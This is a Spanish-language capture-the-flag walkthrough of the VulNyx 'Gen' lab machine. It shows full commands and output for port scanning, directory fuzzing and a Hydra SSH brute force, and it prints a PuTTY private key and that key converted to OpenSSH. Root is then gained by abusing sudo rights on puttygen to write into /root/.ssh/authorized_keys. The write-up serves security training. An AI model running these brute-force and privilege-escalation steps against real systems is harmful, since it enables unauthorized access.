VulNyx | Gen (Walkthrough)

d4t4s3c
6 min readFeb 25, 2024

Gen es una máquina Linux de dificultad difícil de la plataforma VulNyx, creada por d4t4s3c y funciona correctamente en VirtualBox.

Skills:

  • Port Forwarding
  • Brute Force (SSH)
  • Convert Private Key Format (PuTTYgen > OpenSSH)
  • Privilege Escalation (PuTTYgen)

Nmap

❯ nmap -n -Pn -sS -p- --min-rate="5000" 192.168.1.29

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-25 09:38 CET
Nmap scan report for 192.168.1.29
Host is up (0.00021s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
❯ nmap -n -Pn -sVC -p22,80 192.168.1.29

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-25 09:39 CET
Nmap scan report for 192.168.1.29
Host is up (0.00024s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_ 256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:19:6B:C4 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

22 ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
80 http Apache httpd 2.4.57 ((Debian))

Port: 80 (HTTP)

realizo fuzzing en busca de posibles rutas/archivos y encuentro note.txt

❯ gobuster dir -w /opt/directory-list-2.3-medium.txt -u 'http://192.168.1.29/' -x 'txt,php,html'

/note.txt (Status: 200) [Size: 239]

en /note.txt encuentro lo siguiente:

enumero los posibles usuarios mark y peter

Port 22: (SSH)

en tenencia de 2 usuarios realizo un ataque de fuerza bruta

Brute Force (Password)

antes de realizar el ataque, para tener una mejor tasa de éxito y no perder mucho tiempo… verificamos que usuarios tienen permitido la autentificación habilitada por password, ya que puede existir configuración aislada entre usuarios basada en bloques

❯ ssh peter@192.168.1.29
peter@192.168.1.29: Permission denied (publickey).
❯ ssh mark@192.168.1.29
mark@192.168.1.29's password:

peter: password deshabilitado
mark: password habilitado

sabiendo esto, realizo un ataque unicamente sobre el usuario mark

❯ hydra -t 64 -l mark -P /opt/techyou.txt ssh://192.168.1.29
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-25 09:51:14
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 10001 login tries (l:1/p:10001), ~157 tries per task
[DATA] attacking ssh://192.168.1.29:22/
[STATUS] 350.00 tries/min, 350 tries in 00:01h, 9675 to do in 00:28h, 40 active
[22][ssh] host: 192.168.1.29 login: mark password: genesis
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 27 final worker threads did not complete until end.
[ERROR] 27 targets did not resolve or could not be connected
[ERROR] 0 target did not complete

mark:genesis

al acceder por SSH como mark, entro en un consola restringida que no te permite realizar ninguna acción y te muestra un banner de bienvenida

si recordamos en note.txt, se hacia alusión a un servidor interno (internal server) que corre por el puerto 9999, quizás no me permite el acceso por SSH pero si me permite crear un tunel para llegar al servidor interno mediante un Local Port Forwarding

Port Forwarding

❯ ssh -L 9999:127.0.0.1:9999 mark@192.168.1.29
mark@192.168.1.29 password:

❯ ss -ltun
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 [fe80::a00:27ff:fe54:bfc0]%eth0:546 [::]:*
tcp LISTEN 0 128 127.0.0.1:9999 0.0.0.0:*
tcp LISTEN 0 128 [::1]:9999 [::]:*

❯ lsof -i:9999
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
ssh 782157 root 4u IPv6 2543622 0t0 TCP localhost:9999 (LISTEN)
ssh 782157 root 5u IPv4 2543623 0t0 TCP localhost:9999 (LISTEN)

Port: 9999 (HTTP Internal Server)

realizo fuzzing en busca de posibles rutas/archivos sin éxito…

volviendo a note.txt teníamos una pista, decían algo relacionado con la llave privada de peter se encuentra en el servidor interno

pregunto a ChatGPT por extensiones relacionadas con claves SSH

.pub
.ppk
.pem
.key

realizo fuzzing de nuevo, pero ahora en busca de posibles archivos relacionados con claves SSH con las extensiones proporcionadas…

❯ gobuster dir -w /opt/common.txt -u 'http://127.0.0.1:9999/' -x '.pub,.ppk,.pem.key'

/id_rsa.ppk (Status: 200) [Size: 2061]

id_rsa.ppk

encuentro una id_rsa creada en formato .ppk (PuTTYgen)

❯ curl -sX GET "http://localhost:9999/id_rsa.ppk"

PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
Comment: peter@gen
Public-Lines: 9
AAAAB3NzaC1yc2EAAAADAQABAAABgQCXderHTJk9bVra4jc/M2n19+YfuaXgkRot
LhHcfttXfRTt1qasgiRSmIV28gCjN0J5eOJkln6Y1880Mq5oQippl5+WAC3/qzB6
tXLrqwiY0f4YjJaxvuWw0xfp/++RKFxwon6muoTJ/UcHScyXqvIu5XDb0/JGXGKG
ifeUcqdeRjAoU7Ey4fjhDF6mbuZaF5D6CSGDJ3z6aw8qk3hACV/+rUSPcKkf3SEf
ekC1xPgb5iSCgr51kNdIKdJHiy2qGylIifA1CsDFObD1KZn/uHXOohci3F8E8Xxq
M2Y1Z383B44Qsp2L6O2VAuw2THPQB267zc7AdH/E6WQ8LLT05TPMmBZM5IGD534M
BDsNhI94qZ7kqugYE+Hw3SFT/0wId95NYnaNrnfsbqERo/OncsoN0dLLrfC/56PJ
2qWBRfSvN8XbenPiAaxp8cjUuC1bpMXbSO1uZwZ0mq4bJW1+AJ6lRbJJkE0+Rc7z
XGnfMSnpQjYRkcbvdUqao8+ItRz3dy0=
Private-Lines: 21
AAABgAZr2uTRNAv9J2VxQstcqCjj9i8xJT20mSoCMoKpJC584JbGy3Ez4UtZKQtm
bi19ScWxoNOH590eBSxe27MS3w5z/bGT119oCBmjuLgSG76y5HVw/HCTudQ51uE2
VxdN4UFrOjhiXv/bS5gdAl4JwtPHKXZAcZyXDRxMHCGAjOT7z83d4nzYRL9x0U94
Ey8NoblgCrovQeayBEYXU3lPjHDVMrtsGNd/fgiCG904+RXht3mLBn0gg2gNUdtz
pJ96IEC/LerQhsbV0A/I0+lWJ7NqJ4vLYDT6nbsnUyAFblNSeDOiul7oWKP3dJtC
hnPTGLHc4MxEeMpfmUY7UYTExG4TNMiMViSN2cs8giEVzWT8AcgwKi2yaeqihuAM
5juHEkBbQj57Z1yZF4j28c/AMFdd8OU3iaa+aYNYpZJS/Y8M58kq6/0yBt06WguE
ClfWSv5jDHqk79Nug+C4px1i8lJGX+xmZ4JeDYuGmLb6qBXA8U2ZvAa2ZXyN0u+B
9mJNhwAAAMEAxXfxzglffXNvOW9rrHs4QIDCxCTb7aZlow7h6TJDef9yfGH5tWX5
fbuXTtF0C/m9tcDBarKPAtTfQxk5CKd7UN+XW9lBcQ2M8nPY+aVlBlvMC4oDBmx2
NL7Bt2EJKZxs0F7k+B5rEvAX5ignXsJiY68QMbkzgm54Klq9Qi4b+MtTVIunnqCX
L4zS9Lw+DBnehnnniyBQLs6zb8fQTlH3GHietjZJgFDngZLCXUDhOQEibrM5KAQu
vEz/Y9vNzFLTAAAAwQDEWtu2tVAzrjgBBhU/vw6DaOB3sWKIxnCV79XaLzZq0bL+
yOB/PRwkKzkyjyhGAcISkyQr211azkxTLTaJToRlFrfP6PVE7Yjizq3xa059yLVk
iQVUTlCYpsesHiqB3SsOloQzyvCEgMfox2qOQHN/uildVi9qtM4I+w36lZOy7P4D
qnbvNiRcazNXhdRTfe2UeIUEi4pV+zdpTSMCnz+lbe1/gx2bcivNW58pi8HyorxV
VVoA5VH0+dlH6oCqzf8AAADBAIQM2zEECWKCjr9HBGehy6/HbLyjRhRsHBpi1dpD
FxdVZh9vtL6qs/b54xohXtPYB5cku/AiTtEfHHVSbIWaZXTu9MDtemOHfMiBv0T7
ihwFrG8QG1m0uttH4W05hRRKWBMU71NNwhSV/wM8AO2nyL6GHhaebXB4I56yTq3q
ppWMMSnZsSZYD+xl3reBk9xS1fDieZ6AlFyISymCaVoGdzmIMrtjh9SDZfQA6O4N
lioGlE0sewIS0VjBaBRe6dqEGA==
Private-MAC: ddf613a5fe1b8e368671e046193ec282600331b31e39f575a344c3bb23248d6b

❯ curl -sX GET "http://localhost:9999/id_rsa.ppk" >id_rsa.ppk

Convert Private Key Format (PuTTYgen > OpenSSH)

ahora tenemos que convertir la id_rsa que se encuentra en formato PuTTYgen a formato OpenSSH para que nos funcione

Método 1 (Windows)

descargamos PuTTYgen portable desde el sitio oficial

Método 2 (Linux)

# apt install -y putty-tools

❯ puttygen id_rsa.ppk -O private-openssh -o id_rsa
❯ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY-----

Port: 22 (SSH)

accedo al sistema como usuario peter con la id_rsa

❯ ssh -i id_rsa peter@192.168.1.29
peter@gen:~$ id
uid=1001(peter) gid=1001(peter) grupos=1001(peter)

User Pivoting (peter > mark)

si recordamos, antes se realizo un ataque de fuerza bruta sobre SSH y pudimos obtener unas credenciales del usuario mark con Hydra, con las que poco pudimos hacer pero puede existir reutilización de credenciales

peter@gen:~$ su - mark
Contraseña:
mark@gen:~$ id
uid=1000(mark) gid=1000(mark) grupos=1000(mark)

Privilege Escalation

mark puede ejecutar como root el binario puttygen con sudo

mark@gen:~$ sudo -l
Matching Defaults entries for mark on gen:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User mark may run the following commands on gen:
(root) NOPASSWD: /usr/bin/puttygen

como podemos ejecutar puttygen como root, se puede crear un par de claves SSH en formato OpenSSH en /root/.ssh/

mark@gen:~$ puttygen -t rsa -o id_rsa -O private-openssh

+++++
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Enter passphrase to save key:
Re-enter passphrase to verify:

mark@gen:~$ sudo -u root /usr/bin/puttygen id_rsa -o /root/.ssh/authorized_keys -O public-openssh

me convierto en usuario root abusando del privilegio

mark@gen:~$ chmod 600 id_rsa
mark@gen:~$ ssh -i id_rsa root@localhost
root@gen:~# id
uid=0(root) gid=0(root) grupos=0(root)

ya como usuario root puedo leer las flags user.txt y root.txt

root@gen:~# find / -name user.txt -o -name root.txt |xargs cat
f003a3b*************************
d045787*************************

hasta aquí la máquina Gen.

Happy Hacking!

--

--